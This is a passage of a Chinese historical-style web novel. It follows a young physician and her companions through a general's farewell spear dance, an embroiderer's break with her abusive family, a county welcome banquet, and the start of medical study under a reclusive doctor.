祁多儿有些不解又问道:“你既已将思虑如此清楚,为何非要让我一探究竟呢?”
张山秀向祁多儿行礼说道:“我也非正直之徒,与她联姻是为博得财主资质。可我不愿两人互相欺瞒,今后多生间隙。”
祁多儿点点头,与秋水商议一番后便答应了张山秀的请求。
张山秀向三人道谢一番便告辞了。
祁多儿待他走后,将那镯子对光仔细看了一看便说道:“他到是实诚的很,这虽非上等玉材,却实在是个有些年头的物件。”
许秋水笑道:“我倒是十分好奇那位女子是何摸样了。”
待到未时,郝北还与魏定一同前来相邀许秋水等人前去客栈一聚,待到明日再一同启程。楚云照本说自己就不去了,但郝北还一直热情相邀。甄大龙甄二虎兄弟又说若他不去,便要留一位下来保护他,他不想耽误甄家二位兄弟与昔日战友聚会,便一同前去了。
魏定向许秋水送上了一个木盒子将其向秋水递去说道:“这是我为昨日赠药而备的谢礼。”
许秋水拒绝道:“不必如此客气,那药所用药材皆是平凡之物。你可安心收下。”
甄二虎见此说道:“小神医,你才莫要客气。先看看这魏小将拿得是何物,若是价格不高,便成全了他一番心意罢。若是价格太高,再拒绝不迟。”
魏定听了便将手中盒子打开说道:“是街市上所售得蟹黄酥五香糕,今日路过便买了一些来。希望许娘子莫要嫌弃。”
许秋水将食盒从魏定手中接过后说道:“那便谢过魏郎君一番心意了,那各位一起将其分食了。”
秋水见盒中各有八块糕点,便予在场诸位各分了一块糕点,待众人吃完糕点后还余一块便说道:“既然还多一块,我便留予回来再食。”
说罢,便将食盒拿回了房间。
魏定又向甄二虎行了一个揖礼说道:“昨日在下鲁莽,冲撞了甄夫长,还望夫长海涵。”
甄二虎笑道:“若是冲撞了他人,你便觉得不算失礼了?”
魏定心中发虚,沉默不语。
甄二虎见他无言又问道:“你这身武义何人所授?”
魏定对此答道:“不敢说出师名与其一同受辱,甄夫长知我武义稀疏便罢。”
甄二虎笑道:“我倒并未觉得你武义稀疏,只是脑子不太灵光罢了。架势倒是练得不错,只是欠缺些实战。”
魏定低声答道:“多谢夫长教诲。”
甄二虎将魏定扶起说道:“我知你为郝帅亲传,所以性子傲了些,所以才出手教训你一番。你莫要记恨我才是。”
魏定答道:“不敢,我要多些甄夫长将我一掌打得清醒了。”
甄二虎哈哈笑道:“真是个不错的苗子,可惜我不在军中了,不然也想多教授你一番武义。还望魏小将以后一直勤奋谦虚。”
魏定向甄二虎又行一礼说道:“魏定一定谨记。”
郝北还见两人嫌隙已解便说道:“既然嫌隙已解,那便现在同去观公主枪舞。甄夫长,公主请你为她擂鼓,你可愿意。”
魏定哈哈大笑道:“郝将军发话,我怎会不愿。我现在就有几分手痒了。”
郝北还便附和道:“那便即刻上路吧。”
一行人便向郝将军处而去。待到郝将军处,进入客栈,一旁护卫向许秋水等人说道:“安国公主正在侧院等着各位,请随我来。”
那人将秋水一行人带至后院,郝将军一身银甲手持长枪站于院中的戏台。右侧摆了一张大鼓,左侧有位弹琵琶的艺人。
甄二虎向郝将军问道:“将军需何曲目?”
郝将军答道:“兰陵王入阵曲。”
郝将军见秋水等人依次落座,便看向甄二虎点了点头。
先是鼓声响起,如千军万马向此而来。而后又听得琵琶胡琴,如万千将士手中长枪置地,又如将士所穿铁甲碰撞。
郝将军便随着鼓点将枪舞了起来,那枪上下,若舞梨花,遍体纷纷,如飘瑞雪!
那鼓声如雷,如虎啸!又似满腔壮志未酬之悲切。
那琴音如刀剑出鞘也如枪戟相击。
一曲完毕,又听得身后将士齐声呼“杀”。
许秋水等人听见此声,一时竟觉浑身血液沸腾,仿佛自身也在沙场之上。
甄二虎见许秋水等人此等震惊摸样,大笑道:“你们莫要惊慌,这不过营中叫好得一种方式。”
楚云照起身向郝将军与甄二虎行礼道:“霏霏雨雪,瑟瑟寒风,刀舞长空,枪出如龙,安知男儿奔何方?擂擂战鼓夺城池一曲终,胡不见君哭。定北巾帼将军果真名不虚传,我见将军到有七分子龙之姿。二虎兄战鼓之声亦有虎啸龙鸣之势。今日得见,此生无憾。”
郝将军大笑说道:“楚参军谬赞了,今日无酒润手,倒是有些涩了。”
甄二虎亦大笑道:“有何谬赞?我看楚参军此话说得真诚,不知今日之后何时得见个一同酣饮一番。”
“那我先向各位赔礼了,待有机会,我定请各位喝个痛快。”秋水起身与郝将军喝甄二虎说道。
郝将军笑着下台对秋水说道:“那就多谢小神医了。”
甄二虎也随着郝将军与他们同坐一座后说道:“今见将军武义是越发精湛。”
郝将军答道:“甄夫长擂鼓之力,也未有半分生疏。”
“多谢将军认可,不知将军今日为何要为我等在此一舞。”
“我病倒多日,浑身乏力,痛苦多时。得许小神医救治舒畅许多。又见你甄家二位兄弟,十分怀念当年
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在军营中的日子,伸展些筋骨。正巧你也在,若是换了别人,可是敲不出此等气势。”
甄二虎倒了一杯水说道:“那我以水代酒,敬郝将军大病初愈。”
郝将军也到了一杯水大笑说道:“干,配上这碗白水,到有几分像过家家了。”
甄二虎笑道:“将军此言差矣,若不是将军,我与大哥早就埋于雪原了。我等真情,永存心中,无论是饮酒还是喝水,我说得都是肺腑之言。”
郝将军向甄二虎抱拳一谢后继续说道:“今日多谢各位赏脸来此了,上些菜肴糕点,我与各位相见恨晚,边吃边聊。”
郝将军说罢,便让一旁护卫上了些餐食。
有些泸州特色菜品白果炖鸡、合江烤鱼、渔溪鲇鱼、糖粘羊尾,两河桃片。
还有一些小孩爱吃的糕点,米花糖、窖沙珍珠丸、五香糕、燕窝丝。
郝将军笑着说道:“都说泸州美酒甚好,可惜无缘享受,那吃些佳肴也算不错。”
秋水走向郝将军,为郝将军请脉后说道:“将军脉象平稳了些,按时将那些药吃了。修养半月则可小酌了,可买些酒带上路,过了这些日子再喝也无妨。”
郝将军摸了摸秋水的头说道:“酒无同好痛饮,就无酒之乐趣了。不知今后何时能再与你等相遇。”
秋水一时无言,楚云照答道:“而后我等一同去买些酒,有道是海内存知己,天涯若比邻。今日同买酒,饮酒自可当同饮。”
郝将军哈哈笑了几声说道:“楚参军所言既是。”
此时菜已上齐全。
郝将军笑着道:“不知各位有无忌口,我先点了这些。各位若有忌口,可再添些。”
郝将军望向秋水与祁多儿说道:“你两可爱吃这些,可要在点些别的。”
许秋水与祁多儿看了看桌上慢慢当当的菜品,祁多儿回道:“多谢将军美意,我无需再点了。”
许秋水亦是如此说道。
甄二虎向郝将军问道:“除了北环兄与魏定这两位,还有一位送你的将军是谁,怎未出来相见?”
郝将军答道:“昨日与他说了,他说他心中有愧。”
甄二虎放大了声说道:“原来是这厮,那有愧就莫要出来找晦气了。”
屋中一人听此声音,愤恨的砸向了书桌一拳。
许秋水向郝将军问道:“你如何从雪原中救出他们的?”
郝将军望向思索一番答道:“当时突发暴雪,敌军撤了大半。我运气颇好,寻到了他们,又将他们带了出去,还顺手歼灭了一支剩余敌军。”
许秋水惊讶道:“就如此简单?”
郝将军笑着点头道:“确实只是如此简单。”
甄二虎笑道:“还记得将军当时封赏那日的庆功宴,你也是舞得此枪舞。只是那日是许夫长与我一同打的鼓。今日少了他,倒也少了一些气势。”
郝将军潇洒一笑道:“今日虽少了他,但也多了这许多好友。也是不缺些什么了。”
几人相谈甚欢,直到申时过半。有一护卫在郝北还耳边耳语了几句。
郝北还便起身向各位说道:“如今时辰已晚,各位既然要买酒,就现在一同去吧,再过些时辰,怕好的酒楼就要打烊了。”
甄二虎叹气又笑了一笑说道:“酒楼打烊,又无宵禁,你怎说得出这种话。到不如说明日都要赶路,早些散场了好。”
郝北还无奈道:“二虎兄弟既明了,那便去买酒吧。”
郝将军也笑道:“听我堂哥的,莫让我堂哥为难了。明日路上再行告别。”
今日一同去买了些酒,郝北还与郝将军都挑了一坛。甄家二兄弟一人一坛。楚云照也挑了一坛。许秋水与祁多儿虽不喝酒,但郝将军说这是一份情谊,便也给她两一人挑了一坛。
第二日两队人马共同离去,两队人马非同一城门,只是在路中互相以礼相送后便各自出发了。
34. 忍冬娘绣坊求助
秋水一行人在向明州赶路之时,京都的忍冬却是遇上了一些不小的麻烦。
那日忍冬与贺得宝在街上偶遇忍冬弟弟与忍冬爹,幸好又被秋水两位哥哥所救。
许春木将忍冬爹与忍冬弟弟打伤后,两人回了家中对忍冬娘好一顿打骂。忍冬娘被逼无奈便来到绣坊求见忍冬。
忍冬正在后院中看着花,清早下了一场雨,显的这些花儿甚是娇艳。听得门口一阵吵闹便出门去看是何人吵闹。正要出门之时看见那人又写眼熟,便又躲于影壁之后偷听着他们的对话。
出门只见一名四十左右,是一位四十左右的中年女子,穿着粗布麻衫未着配饰。头发梳得利落整齐,额间似有一片淤青。不知是天生胎记还是被殴打的伤痕。满脸净是讨好又是愁苦之色,让人见了好是生气。
“求求两位去通报一下,我找我女儿。”
“你女儿姓甚名谁?何时入绣坊?现为几级绣娘?”
“我女名木桂枝,四年前秋入绣坊,如今几级绣娘我不曾知晓。”
“已查阅了,无名为木桂枝的绣娘,你先请回吧。”
“这应是改了名字,让我进去问问吧。我见到便就认得出的。”
“不可,你既然说不出名字,那便不可进去。”
“劳烦两位通融通融。”
忍冬娘先是拉扯两位说着话,而后又跪在那人身旁,只是自顾自的念着“求求两位让我进去吧。”
其中一位有些于心不忍便说:“我先去向里面的问上一问。”
那位护卫走了进来,见忍冬娘子躲于影壁之后便问道:“忍冬娘子可知木桂枝为何人,我进内院不太方便,可否替我去问问孙管家?”
忍冬楞了片刻听了这话才回神,整理了一番情绪便说道:“我先去外问问那人详细。”
那位互相向忍冬行了一礼说道:“多谢忍冬娘子解围。”
忍冬出了院门,将门外那位妇人扶起了起来说道:“夫人可否描绘清楚些那人长相,我才好替夫人去寻人。”
忍冬娘抹了抹脸上的眼泪望着忍冬说道:“我女儿摸样于我应是有七分相视,可让我见见与我女儿同时期如绣坊又相仿年纪的绣娘否?”
忍冬笑了笑说道:“夫人可是与她多年未见?”
忍冬娘点了点头,忍冬又问道:“那夫人怎有如此自信,可寻的她人。”
忍冬娘略带哭腔的说道:“都说母子连心,这自然是可以认出的。”
此时有几滴水珠滴落在忍冬脸上,又忽的一下大了起来。
忍冬笑着说道:“春夏自是多雨,我观夫人情真意切,必然说得是些真话,夫人先随我进院中躲雨在聊。”
忍冬娘忙应声答道:“多谢你这位好心的娘子了。”
忍冬不禁冷笑一声,本想再问些话。可又觉得嘴唇干涩,一句话到也不想多说了。
她将自己娘带入院中小亭坐着后,只是一脸笑容的望着她娘。
忍冬娘到感觉一阵不适,问道:“娘子何故如此看着我。”
忍冬笑着回道:“你不是说若是你女儿在你面前,你便认得出么?不是母子连心么?”
忍冬娘惊讶道:“是你?”
忍冬点了点头。
忍冬娘,又拉过忍冬的手说道:“你摸样变化太大了。我。。。这。。。一时未能认出。”
忍冬叹了一口气,想要将脸上的笑容收下,却又发现自己的嘴唇又牢牢的沾在牙齿上。一时更觉无奈。
便低头将手抽出,又用手绢假装擦脸后说道:“弟弟和爹爹都认得出我,你为何认不出?”
忍冬娘一时语噎,便向忍冬跪下说道:“是娘对不住你,但娘实在是没办法了。若是有法子定是不会求你的。”
忍冬一时不忍便说道:“你有何事相求,你先说罢。”
忍冬娘擦了擦眼泪便说道:“那日你那些好友又将你爹和你兄弟打伤了。现在药费和家中的花销都不够了。你在绣坊多年也应是有些积蓄,求你救救你爹和你兄弟。”
忍冬冷哼一声说道:“为何要救?若是那日我被他两掳走了,你要对我说些什么?”
秋水娘叹了一口气说道:“你不可如此狠心啊,他们毕竟一个是你爹,一个是你弟弟。”
忍冬轻哼一声说道:“我可不敢有这样的爹爹和弟弟。”
秋水娘见忍冬不为此所动,又说道:“若你今日救了他们,我们便不再打扰你。”
忍冬笑了笑道:“那如此甚好,你在此等着,我取些银子与你。”
忍冬娘见忍冬要走边说道:“等雨停了你再去也不着急。”
忍冬并未搭理她,只是冒着雨回了房,取了银子递给了忍冬娘说道:“这是我四年所有积蓄,三十六两银子。以后你不必再来了。”
忍冬娘接了银子,向忍冬道了谢之后,便立马走了。此时到也不顾及外面还在下着些小雨了。
忍冬娘,回了家中将今日所讨得的银子交给了忍冬爹。忍冬爹想了一个主意说给了忍冬弟弟听。
忍冬弟弟摇了摇头说道:“金娘子那些人可不是好惹的。”
忍冬爹呸了忍冬弟弟一口说道:“还不是为你娶亲筹些银两,若是你姐姐被赶出来,刚好将她嫁了换些钱。若是没有被赶出来,你姐姐定是藏了私的,也可以后讨要一些。”
一边说着,一边抖落着忍冬今日所给的银袋子。
忍冬弟弟听过之后思虑一番便也同意了。
第二日,忍冬爹与忍冬弟弟带着十来号亲戚,便在绣坊门口闹事。
几人大喊“金记绣坊教导徒儿不要爹娘了。”
如此大喊,闹得绣坊生意无法进行,金娘子便向在的客人各赔了三尺布,又赔了好些礼。将那些客人送走,便关了门。
金娘子将忍冬唤于面前问道:“外面那些人你可都认识?”
忍冬低着头说道:“我知此事由我而起,请金娘子责罚。”
金娘子叹了一口气说道:“我知你是个苦命的娃娃,可我绣坊也不能因你一个断了生记,你可明白?”
忍冬点了点头。
金娘子拉过忍冬的手说道:“你这双手是我绣坊第一巧手,我也不愿意它蒙尘。你可明白。”
忍冬摇了摇头,
金娘子拉着忍冬坐下,又拿了手绢给她抹泪道:“你是愿在我绣坊,还是愿意跟他们回家。”
忍冬带着哭腔但坚定的说道:“我愿意留在秀坊。”
金娘子继续问道:“那若是你留在秀坊,需要与家中断绝关系你也愿意。”
忍冬回道:“我愿意,求娘子莫要将我
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逐出。我一定与他们断绝关系。”
金娘子点了点头,拍了拍忍冬的手说道:“那你可又方法如何与他们断绝关系?”
忍冬摇了摇头。
金娘子说道:“那你随我来吧。”
忍冬随金娘子到了窗口,金娘子举起手向一旁挥了挥手,一时间出来二十多位捕头将他们全数拿下,又用不知哪里来的脏布塞住了他们的嘴巴。
又将围观的人员驱散开来,金娘子带忍冬下了楼,吩咐一旁的人继续开业。
那为首的捕头向金娘子问道:”不知这些闹事的,耽误了金娘子多少生意。若是影响不重便关上两三日,若是严重就关十天半个月的。不知可否已经计算了损失?
金娘子将一个荷包递予那捕快说道:“这些你与你兄弟们买些酒喝,此次我到未来得及计算,不知我这位首席绣娘是否计算了。忍冬,你可计算了?若是算了,便说于张捕头听听。”
忍冬思考了一会对金娘子与张捕头说道:“虽是未造成严重损失。但他们造谣说秀坊不尊重孝道,实乃大罪,应该严惩。”
忍冬爹张牙舞爪的好像要说些什么,又被捕快给按了下去。其他人皆是满眼震惊的看着忍冬爹。
马捕头点点头向金娘子与忍冬说道:“既然如此,那便先关押一月,让其反省一番,两位以下如何?”
金娘子看向忍冬,忍冬点点头,金娘子便笑着对马捕头说道:“如此甚好了。”
马捕头便向金娘子与忍冬行礼后,带着一行人走了。
那些人中有几个蛮横些的,心中不快,要去踹那忍冬爹。可又被捕快先行踹了一脚叫他们老实一些。
见其他人都走了,金娘子又带忍冬回秀坊后继续问道:“这是他们第一次找你麻烦么?”
忍冬摇了摇头,又将前两次的事情说予金娘子听。
金娘子听完叹了口气说道:“忍冬,此名字是没有木字的。你可知忍冬还有一别称?”
忍冬答道:“知道。”
金娘子笑了笑说道:“那你应是知道我对你的厚望。你若是不愿意怪罪你爹,这是人之常情。可那日他竟想对得宝动手,此事甚是不该。”
忍冬答道:“请娘子明示。”
金娘子说道:“此事可暂且放下,但不得再出现。我若最后将秀坊交予你,那便不能因你使其他秀坊人员受伤。”
“忍冬明白。”
金娘子笑道:“明白就好。”
一月后,忍冬爹与忍冬弟弟带得那行人全部出了监牢。一时间,忍冬一家在乡重如过街老鼠一般。
那些人家不敢前来秀坊找麻烦,只敢在忍冬爹娘处放肆。来得早些得在忍冬爹娘哪里要了些赔礼钱。蛮横些得强抢了他家中得精致家具。一时间家中积蓄一扫而空,此下又不敢去找忍冬,只得吃这闷亏。
忍冬听闻此事,只觉得好笑又荒唐。而后又遇见母亲出来典当冬衣,便将新得的二十两银子给了她母亲后。
“他们也吃到教训了,今后莫来找我。这些银子是我对你最后的情义了。”
忍冬娘双手接过银子,向忍冬双手合十拜了好几次后说道:“多谢木,多谢忍冬娘子。”
说罢便颤颤巍巍的走了,忍冬只觉今年的冬季好生漫长,虽是要入夏,到还是觉得有几分寒冷。
35. 初尝明州接风宴
秋水一行人即将要到明州奉化县,楚云照向许秋水与祁多儿说道:“今后,你两人便称呼我为师哥,若在公堂之上便称呼我官职即可。”
秋水笑嘻嘻说道:“是,师哥。”
祁多儿点了点头笑道:“是,师哥。”
三人相识笑了几声,片刻后马停了下来。只听车外有人说道:“张县令等人在香万里酒楼宴请楚参军、祁孺人、许医师三人,参军等人可否赏脸?”
楚云照将车帘掀开,探出身去只见车门外站有两位男子。说话那位四十左右,声旁还有一位貌似二十出头的年纪。平凡至极的样貌,但眼神却甚为凌厉。看穿着应是衙门中的捕快。
楚云照问道:“不知两位是何人?”
年长那人答道:“小人乃皂班班头江华传,这位是我儿江学文,也在皂班当值。”
楚云照点了点头道:“那便辛苦江班头与令郎带路了。”
说罢,楚云照又示意甄二虎给赏。甄二虎下马给江家父子了一人五两银子。两人接过银子向楚云照道谢道:“多谢参军。”
楚云照一行人跟随着江家父子来到了香万里酒楼,江家父子又将楚云照带至二楼包厢。
楚云照三人进去后,屋中几人起身相迎。县令向楚云照行礼道:“状元郎果真仪表堂堂,一表人才。不知身后这两位分别是何人啊?”
楚云照回礼后指向祁多儿道:“张县令谬赞了。这位是姚学士的学生,首位童子科甲等女郎,当今圣上亲封的祁孺人。”
祁多儿笑着向几位点了点头。
楚云照有指向许秋水说道:“这位是现任禁军马军都虞候许春木之妹,我舅舅神医楚知求之徒许秋水。”
张县令感慨道:“楚参军身旁之人皆是大有名头之人啊,本县令在此倒有几分逊色了。”
楚知求笑道:“我等小辈不过几个初出茅庐的后生,不过充了些家中长辈的名头。早就听闻张县令为官公正,查案严谨。为国为民,兢兢业业。若论今后实干,还望县令多多教导。”
张县令笑道:“楚参军言重了,快些落座。”
楚云照等人落座后,张县令对楚云照说道:“这非官家之事,只为云照弟不必以职位相称。若你看得起。我年长你,便称呼我一声献礼兄吧。”
楚云照向张县令回礼道:“多谢献礼兄抬爱。”
张县令向楚云照介绍说:“这位是马贤成马县丞、李显微李县尉、杨若愚杨主簿”
楚云照一一向那几位行了礼。
李县尉看向祁多儿笑道:“不知祁孺人可有婚配,我有位年龄相当的儿子,不知祁孺人可愿一见?”
祁多儿笑了笑道:“我这称号虽只是圣上安慰所赐,但也是需得京城五品官员有功才为其母所授。不知令郎今年考学如何?”
李县尉讪讪笑道:“是在下莽撞了,望祁儒人莫要见怪。楚参军可会为你这如花似的妹妹择婿?”
楚云照向李县尉回礼说道:“祁儒人乃是我老师姚学士之学生,又是我舅妈之徒。她能随我来此,全凭老师与我舅妈诚心相邀助我。婚姻之事,非我能安排的。需得问过老师与我舅妈才可。”
杨主簿大笑几声说道:“李县尉你好大的胆吗,攀亲家竟然攀到姚言礼姚大学士府去了。还好犬子不喜诗文,自然明了入不了祁儒人之眼,不敢张口丢丑。可我有一女还算聪慧,不知祁孺人得闲可否来府中指点一二?”
李县尉听此冷哼一声道:“到底是我愚钝了,不如杨主薄明事理。”
祁多儿笑对两位说道:“是小女承蒙两位抬爱了,得此名誉不过碰巧而已。指点不敢当,若杨主薄信得过,倒可去贵府于令千金互相学习一番。”
杨主薄向祁多儿行礼道:“那便先在此谢过祁儒人了。”
一行人吃过了饭,又互相吹捧了一番,才告退。
许秋水等人上了马车后,秋水重重叹了一口气说道:“真是可惜,白给那李县尉开了一方,若是师父,必然能哄得他出得高价。”
祁多儿笑道:“几声神医便让你给在场那几位看了个遍,若不是师哥拦着,你怕不是这奉化县的人都要看遍了。如今静下来了,却想着诊金了。”
许秋水气愤道:“在逍遥馆看病总被刁难,在济安堂又总被怀疑。一时之间被如此夸赞,自是乱了神。”
楚云照笑道:“这到是无妨,多体会些人情世故,心就平了。”
许秋水点点头道:“我看那县令必定心思深沉,若不是他起哄,我也不必为他们诊病开方。”
楚云照点点头问向祁多儿:“祁师妹觉今日所见这几位心性如何?”
祁多儿答道:“初见一面,不敢断言。只觉那位县尉不太知礼又有几分愚笨。”
楚云照说道:“今后与他们还有许多交道,秋水你要多思虑一番了。”
许秋水哼一声说道:“此次是我大意了,今后不会再有。”
楚云照与祁多儿相视一笑道:“那且看小神医今后如此抵挡了。”
许秋水又向楚云照问道:“我们何时去师父好友处与你那位好友相好处?”
楚云照思虑一番说道:“明日你我与二虎兄去安和堂寻徐淼徐神医,祁师妹与大龙哥还有今日见到江学文领路前往。你两可同意?”
祁多儿回礼道:“我觉得此安排甚好。”
许秋水答道:“我无意见,那多多回来之时,可要与我详细描述一番那人长相。”
祁多儿笑着点了点头。
几人来到了一处府邸,一位年近四十的妇女带着一位十来岁的少男相迎,两人穿着两件新做的衣裳,小儿脖上挂着一个长命锁,那中年妇女倒是未穿戴金银之物。见楚云照的马车来了,那妇人急忙拉着那位少儿笑着上去相迎。
儿子带甄家两兄弟去牵马放货,母亲向楚云照说道:“你应当就是云照小郎君了?这两位不知哪位是许秋水,哪位是祁多儿。”
楚云照向那夫人回礼到:“在下确实,不知夫人是何人?黄衣为秋水,绿衣为祁多儿。”
那人仔细瞧了瞧许秋水与祁多儿笑笑道:“我乃金坊主同期学徒,你们可称呼我为襄姨。我受金坊主之托,置办了这个宅院,又为各位购置了一些用品。但仆从还未选取,在等各位来了再办理。”
“多谢襄姨。”
“快些随我先进来吧,一晃多年了,还从未见过云照小郎君呢,俗语果说得不差,外甥像舅舅,云照小郎君如楚医师一般俊俏。原先说金娘子与田娘子乃绣坊双绝,今日得见许娘子与祁娘子,到更是青出于蓝了。”
“多谢襄姨夸赞,不知先前那位少年是你何人?”
“那位是我的小儿子。”
“不知襄姨家中还有几人?”
“只有我与小儿了,本还有个长你几岁的大儿,上了战场,同时去的几位乡亲都回来了,只他未归。二女儿两年前嫁了人,丈夫病了几年,实在不愿拖累家里了,去年冬天去河里呛了几口冷水便去了。”
“是云照多嘴了,襄姨莫怪。”
“不碍事,多年没个说话的人了,今日说出来了也畅
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快了。云照郎君既然问到此处了,我便也想求郎君一件事。”
“襄姨但说无妨。”
“大儿到是留下好些抚恤金,可都被我丈夫的病用了大半。我又是个妇道人家,家中的田地被叔伯占了去。留下这个小儿我实在是无力,得亏金娘子让我采办此事,得个糊口的活。云照郎君、许娘子、祁娘子若你们满意的话,可否留我做个洒扫的活计,让我小儿做个养马的小童,糊口有个地方可住就好。”
楚云照思考一番问道:“这宅院,地处中心,但不临闹市,位置甚好。不知襄姨采购花费多少?”
襄姨笑了笑说道:“三万贯。”
楚云照心中一惊,这地势,之前问过在明州的好友起码要五万贯。襄姨怎得如此便宜拿下。
楚云照疑惑的看向襄姨道:“如何如此便宜?”
襄姨大笑道:“此处是城外朱员外置办的宅院,本不出售。我与他说是为了今科状元所置办的宅院,待你升迁,就五万贯卖回与他,若留便涨了家中风水,不留也可加价出售,到是不亏。”
楚云照笑笑道:“襄姨到是好本事。”
楚云照与秋水一行人参观了一番府邸布局,此府邸是一个三进的院子,里面又分成六个小院。每院各有三间屋子,一件主屋,东西两侧各有一间厢房。
府邸西侧是主院与前院,中间过了前院正门便是内院,主院东侧还有五间耳房。
东侧是三间小院,右上两间院子一样的大小,布置精巧,又有梳妆台与新置办的妆奁,应是舅妈特地给秋水与祁多儿二人所留。
待到甄家二位兄弟将马牵好,又付给了马夫银子,将物品都卸了下来后。来向楚云照复命。
楚云照见人来齐了便说道:“东侧一院二院,布局大小一致,秋水师妹与多师妹你两自行选择一间院子。大龙兄,二虎兄,你两过些时日要将家属接来,那便住西侧主院,主院东侧有五间上房,可供你们今后的孩儿居住。襄姨你与你儿便住东侧前院,我住内院,西侧前院暂且空置,待以后有客可供安排。”
甄大龙向楚云照行了个谢礼,甄二虎向楚云照说道:“多谢云照兄弟,我二人以后必将为你赴汤蹈火。”
楚云照回礼道:“二虎哥言重了。”
襄姨拉着她儿的手说道:“二狗,快给云照郎君磕头。”
楚云照急忙拦下,向襄姨问道:“令郎可读过书?”
襄姨摸了摸眼泪说道:“这孩子命苦,出生父亲就病倒了,我倒教他识了几个字。”
楚云照思虑了一番说道:“待过几日,我为令郎先寻个学堂,不知公子可有学名?”
襄姨摇了摇头说道:“本想取个小名好养活,待到入学之日再请人取个名字。可家道中落了,便也没这个机会了,若云照郎君愿意,可否赐个名字?”
楚云照向襄姨行礼道:“不知令郎贵姓?”
襄姨答道:“双木林。”
楚云照思索一番便说道:“今日见院中景色宜人,日光和煦。襄姨你觉景和二字如何?”
襄姨思索一番又念道:“景和,林景和。到真是不错。”
说罢又要拉着小儿向楚云照磕头道谢。
楚云照急忙拦住襄姨说道:“不必如此,今后还要请襄姨多多照顾。”
襄姨擦了擦眼泪又点了点头说道:“多谢云照郎君、许娘子、祁娘子收留。”
几人熟悉了一番,收拾收拾了东西,休息了一晚。第二日辰时吃过早饭,秋水与祁多儿两路人马便各自出发该去的地方了。
36. 初到奉化遇命案(一)
许秋水与楚云照与甄二虎驾车向安和堂而去,一行人驱车到了郊外的一片竹林。向前行了一刻钟,便见一竹院,上挂牌匾“安和堂”。门口还写有一副对联“阎王索命勿需慌,徐医开药留此遭。”
许秋水心想,好一个张狂人。只见那竹院门口有位五十多岁的老头在为门外排队的病患把脉开药。
许秋水等人正要前去向那位老者打声招呼,一位童子将几人拦下说道:“各位若不是急病,今日便可回去了。老师一日只看两百人,今日号码牌已全发完了。”
许秋水往后望去,排队竟有只有二十人左右。心中疑惑,此时不过刚到午时,如今便看过近两百人了否?
楞神片刻,便向那位童子行礼说道:“还望通报一番,我非来看病的。是受我师父楚知求之命,前来求学的。”
说罢便将信封递与童子,童子接过信后,向秋水回礼道:“请娘子在此稍等,我去问过师父再来。”
“多谢小郎君。”
童子在徐医师面前耳语了几句,徐医师向秋水等人招了招手。秋水等人走至了徐医师面前。
徐医师捋了捋自己的山羊胡子看了看秋水又看了楚云照笑道:“你二人倒与我第一次见楚家姐弟时相似的很。”
许秋水向徐医师行礼道:“我是楚知求的弟子许秋水,还望徐老今后不吝赐教。”
徐医师笑了笑说道:“原是楚知求的弟子,不必客气。你先于我的童子熟悉此地一番。这位郎君可是楚知禾之子?”
楚云照向徐医师行礼道:“正是,云照见过徐叔。”
徐医师向身旁童子说道:“你先带三位进去喝茶,待我问诊了这些人再与你们细聊。”
那童子向秋水等人行礼说道:“在下青文,请各位贵客请随我来。”
许秋水等人便随青文进了院中。院子中有张长桌,桌上摆上了堆了几叠药物。上写“去热”“驱寒”“滋补”。
青文介绍道:“此些乃近期常见病症用药,便放于此。”
秋水又问道:“那若不是这些呢?”
青文说道:“那便需要在开药了,不过大致是这些罢了。”
秋水点了点头,又随着青文向安和堂中走去。安和堂是一个由竹子搭建的不算规范的二进小院。外院左右两侧厢房。一间是童子所居,一间是许神神医所居。
中间的主屋是给治病的药堂,药堂前后通风。从药堂向后走去,可见内院有一莲花池,莲花池上建筑了一座三曲竹桥。
过了竹桥则又是三间屋子,左右两侧为客房,中间房间则是徐医师的书房兼会客室。到了会客厅,只见左侧稍微抬高,放上了三个书架一个一张书桌。书桌书架上都摆满了各类医书。
会客厅右侧摆上了一张茶桌,青文将几人请坐看茶后说道:“各位先请在此休息片刻,待师父看完病后,便来与各位相谈。”
秋水等人等了两个时辰,青文给几人又上了一些糕点后又出去帮徐医师。秋水也想要去帮徐医师。但被青文所拒。
青文向秋水行礼说道:“秋水娘子的好意心领了,但娘子初来乍到其中人情世故并不知晓。待再过些日子,熟悉了,在来帮忙也不迟。”
秋水等人又等了一个时辰有余,甄二虎倒是不耐烦了在后院中打着拳。秋水与楚云照两人在荷花池边看着鱼。
待到天色将暗,徐医师才与它的小童子前来找秋水等人。
徐医师向许秋水与楚云照行礼说道:“今日病患甚多,让几位小友久等了。望这天日也稍晚了,待酒疯子卖了菜回来,将你们一起来的那位随从叫上,一起吃饭在走吧。”
楚云照望向许秋水,秋水点了点头。
楚云照便向许神医行礼说道:“那我等恭敬不如从命,多谢徐医师款待。”
徐医师向许秋水问了些医学知识后说道:“楚知求这厮到真是将你教得不错,你今后每天便来此吧,若是楚小郎君处需要你帮助,你当日派人通信与我即可。”
许秋水向徐医师行礼说道:“多谢徐医师。”
徐医师将许秋水扶起说道:“不必如此客气。青文快去路边看看为何那酒疯子与青书还未回来?”
青文向许医师行礼道了一是后便望院外走去。只见一位也是八九岁的童子背着一个背篓,又拉着一位四十出头满身酒气的男子往院子走来。
青书也赶忙上去扶着那中年男子说道:“怎今日还喝得如此醉?”
青文叹了一口气说道:“到也是奇怪,今日他本清醒着回来。可半道上非说要替今日来的贵客尝尝酒。本买了两坛酒,这下就剩半坛了。”
青书也是叹了一口气说道:“不愧是酒疯子,又疯又傻。那是扶去房间还是送去与今日贵客相见呢?”
听青书此番言语,那醉酒男子突然大喝一声:“回房!我要睡了。”
青文哼了一声说道:“今日师父交代了,莫说你是醉了,就算你是真疯,我也要将你送去与今日贵客相见。”
青书青文将那中年男子往会客厅带去,行至莲花池上。那男子又猛得挣扎,差点将青书青文给推到池中。
青文忙喊道:“师父快来,酒疯子又要发疯了。”
许医师急忙出去,秋水等人也跟了出去。
许医师向青书说道:“青书青文,你两先去厨房做些吃食。莫让这酒疯子将菜都打落在池中了。”
青书青文听了此话便将那人丢在竹桥上,两人向厨房而去。
徐医师走上前去,向那人左手关冲穴放了些血又扎了一针后。在那人耳边耳语了几句,便将那人拉了起身走向秋水等人。
“这位是酒疯子,也是楚小郎君的娘亲好友。这两位一位是楚知禾之子,一位是楚知求的徒儿。你可识得了?”
酒疯子点点头道:“不认识。不必认识。”
楚云照向酒疯子行礼道:“酒大叔说得有理,我等平庸之辈自是入不得酒大叔这谪仙一般的人的眼。”
徐神医说道:“不愧是知禾之子,如此知书达理。你这疯子,快去洗把脸再一起吃饭。”
又等
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了半个时辰,青书青文将饭菜端上了桌。
